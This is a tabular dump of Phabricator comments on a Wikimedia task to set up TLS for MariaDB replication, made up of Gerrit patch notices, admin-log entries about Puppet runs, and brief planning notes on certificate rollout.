",,,1460378902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5483870967741935,0.9032258064516129,"Change 282684 had a related patch set uploaded (by Volans):
MariaDB: use Puppet certs for s5 cross-dc replica

[[GERRIT_URL]]
"
643361,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQEfjyagCrwkbTdl9t-} [2016-04-11T08:44:22Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 282385, T111654",,,1460364262,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,3.625,0.85,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T08:44:22Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 282385, T111654"
643359,Set up TLS for MariaDB replication,"Change 282658 merged by Volans:
MariaDB: updated submodule reference

[[https://gerrit.wikimedia.org/r/282658]]",,,1460364039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.277777777777778,0.8333333333333334,"Change 282658 merged by Volans:
MariaDB: updated submodule reference

[[GERRIT_URL]]"
643358,Set up TLS for MariaDB replication,"Change 282658 had a related patch set uploaded (by Volans):
MariaDB: updated submodule reference

[[https://gerrit.wikimedia.org/r/282658]]
",,,1460363927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.04,0.88,"Change 282658 had a related patch set uploaded (by Volans):
MariaDB: updated submodule reference

[[GERRIT_URL]]
"
643357,Set up TLS for MariaDB replication,"Change 282657 merged by Volans:
Removed require that is not directly managed by Puppet

[[https://gerrit.wikimedia.org/r/282657]]",,,1460363813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.8636363636363636,"Change 282657 merged by Volans:
Removed require that is not directly managed by Puppet

[[GERRIT_URL]]"
643356,Set up TLS for MariaDB replication,"Change 282657 had a related patch set uploaded (by Volans):
Removed require that is not directly managed by Puppet

[[https://gerrit.wikimedia.org/r/282657]]
",,,1460363770,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9310344827586206,0.8620689655172413,"Change 282657 had a related patch set uploaded (by Volans):
Removed require that is not directly managed by Puppet

[[GERRIT_URL]]
"
643352,Set up TLS for MariaDB replication,"Change 282385 merged by Volans:
MariaDB: allow multiple MySQL TLS configurations

[[https://gerrit.wikimedia.org/r/282385]]",,,1460363315,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.35,0.85,"Change 282385 merged by Volans:
MariaDB: allow multiple MySQL TLS configurations

[[GERRIT_URL]]"
643348,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQEZvzPD0x0K5Df_RqA} [2016-04-11T08:18:58Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 282385 on db2040, T111654",,,1460362739,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.738095238095238,0.8333333333333334,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T08:18:58Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 282385 on db2040, T111654"
642731,Set up TLS for MariaDB replication,"Change 282385 had a related patch set uploaded (by Volans):
MariaDB: allow multiple MySQL TLS configurations

[[https://gerrit.wikimedia.org/r/282385]]
",,,1460134171,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.111111111111111,0.8888888888888888,"Change 282385 had a related patch set uploaded (by Volans):
MariaDB: allow multiple MySQL TLS configurations

[[GERRIT_URL]]
"
642706,Set up TLS for MariaDB replication,"Change 282380 merged by Volans:
Allow a third value to use the Puppet certs

[[https://gerrit.wikimedia.org/r/282380]]",,,1460131781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.590909090909091,0.9090909090909091,"Change 282380 merged by Volans:
Allow a third value to use the Puppet certs

[[GERRIT_URL]]"
642701,Set up TLS for MariaDB replication,"Change 282380 had a related patch set uploaded (by Volans):
Allow a third value to use the Puppet certs

[[https://gerrit.wikimedia.org/r/282380]]
",,,1460131037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.5517241379310347,0.8620689655172413,"Change 282380 had a related patch set uploaded (by Volans):
Allow a third value to use the Puppet certs

[[GERRIT_URL]]
"
640066,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPgmJxIy3uubrspqdgs} [2016-04-04T09:26:51Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 279596, T111654",,,1459762011,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,3.625,0.85,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-04T09:26:51Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 279596, T111654"
640062,Set up TLS for MariaDB replication,"Change 279596 merged by Volans:
DB: Expose Puppet SSL certs and generate CA cert

[[https://gerrit.wikimedia.org/r/279596]]",,,1459761233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.652173913043478,0.8695652173913043,"Change 279596 merged by Volans:
DB: Expose Puppet SSL certs and generate CA cert

[[GERRIT_URL]]"
640061,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPgiYpUgCrwkbTdl70U} [2016-04-04T09:10:23Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 279596 on db2040, T111654",,,1459761023,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.738095238095238,0.8333333333333334,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-04T09:10:23Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 279596 on db2040, T111654"
636882,Set up TLS for MariaDB replication,"Change 280234 merged by Volans:
Resolve conflict on /etc/mysql/ssl directory

[[https://gerrit.wikimedia.org/r/280234]]",,,1459276296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8181818181818183,0.8636363636363636,"Change 280234 merged by Volans:
Resolve conflict on /etc/mysql/ssl directory

[[GERRIT_URL]]"
636740,Set up TLS for MariaDB replication,"Change 280234 had a related patch set uploaded (by Volans):
Resolve conflict on /etc/mysql/ssl directory

[[https://gerrit.wikimedia.org/r/280234]]
",,,1459265004,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.8620689655172413,"Change 280234 had a related patch set uploaded (by Volans):
Resolve conflict on /etc/mysql/ssl directory

[[GERRIT_URL]]
"
636675,Set up TLS for MariaDB replication,"Change 279694 merged by Volans:
Refactor of the CAs certificate genearation

[[https://gerrit.wikimedia.org/r/279694]]",,,1459257493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.315789473684211,0.8947368421052632,"Change 279694 merged by Volans:
Refactor of the CAs certificate genearation

[[GERRIT_URL]]"
635814,Set up TLS for MariaDB replication,"Change 279694 had a related patch set uploaded (by Volans):
Refactor of the CAs certificate genearation

[[https://gerrit.wikimedia.org/r/279694]]
",,,1458991574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 279694 had a related patch set uploaded (by Volans):
Refactor of the CAs certificate genearation

[[GERRIT_URL]]
"
635386,Set up TLS for MariaDB replication,"Change 279596 had a related patch set uploaded (by Volans):
[WIP] DB: Expose Puppet SSL certs and generate CA cert

[[https://gerrit.wikimedia.org/r/279596]]
",,,1458905205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.4242424242424243,0.8484848484848485,"Change 279596 had a related patch set uploaded (by Volans):
[WIP] DB: Expose Puppet SSL certs and generate CA cert

[[GERRIT_URL]]
"
635379,Set up TLS for MariaDB replication,"Change 278042 merged by Volans:
DB: Expose Puppet SSL certs and generate CA cert

[[https://gerrit.wikimedia.org/r/278042]]",,,1458904157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.652173913043478,0.8695652173913043,"Change 278042 merged by Volans:
DB: Expose Puppet SSL certs and generate CA cert

[[GERRIT_URL]]"
631652,Set up TLS for MariaDB replication,"Change 278052 had a related patch set uploaded (by Volans):
[WIP] DB: Use generated CA for the TLS transition

[[https://gerrit.wikimedia.org/r/278052]]
",,,1458240468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.40625,0.84375,"Change 278052 had a related patch set uploaded (by Volans):
[WIP] DB: Use generated CA for the TLS transition

[[GERRIT_URL]]
"
631616,Set up TLS for MariaDB replication,"Change 278042 had a related patch set uploaded (by Volans):
DB: Expose Puppet SSL certs and generate CA cert

[[https://gerrit.wikimedia.org/r/278042]]
",,,1458237448,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6,0.9,"Change 278042 had a related patch set uploaded (by Volans):
DB: Expose Puppet SSL certs and generate CA cert

[[GERRIT_URL]]
"
624300,Set up TLS for MariaDB replication,"We only need a double certificate on one server (one slave of s3, for example, db1021) and maybe, for a short period of time, on es2/es3. Codfw can be restarted all at once and start using the new cert right away, and for WAN replication we can restart one slave on eqiad for each shard. All others (within-eqiad replication) can continue using/switch to no SSL until the failover in a few weeks. es2/es3 masters can be switched easily without downtime by using circular replication.

What we need as soon as possible is the new certs/keys loaded by the servers by default (even if they are not yet used) because we need to constantly reboot those servers (e.g. codfw es2/3) and we need to get the new files ASAP.",,,1457340641,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,35,True,2.0,0.0,0.0,2.0,0.5,4.5,0.5,0.5,0.0,0.5,2.5,0.0,0.0,0.5,0.0,3.0,0.0,9.0,13.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,4.5,2.5,4.0,1.5,2.0,7.5,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,3.5,13.0,4.0,0.0,0.0,0.0,3.5,0.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,3.7392891918208373,0.7199772801038624,"We only need a double certificate on one server (one slave of s3, for example, db1021) and maybe, for a short period of time, on es2/es3. Codfw can be restarted all at once and start using the new cert right away, and for WAN replication we can restart one slave on eqiad for each shard. All others (within-eqiad replication) can continue using/switch to no SSL until the failover in a few weeks. es2/es3 masters can be switched easily without downtime by using circular replication.

What we need as soon as possible is the new certs/keys loaded by the servers by default (even if they are not yet used) because we need to constantly reboot those servers (e.g. codfw es2/3) and we need to get the new files ASAP."
623475,Set up TLS for MariaDB replication,"MySQL allows also to specify different SSL parameters just for the replica connection from a slave to a master through the `CHANGE MASTER TO` syntax, but it doesn't help too much here because is the master CA defined in the `/etc/my.cnf` is the one that will be used to check that certificate.

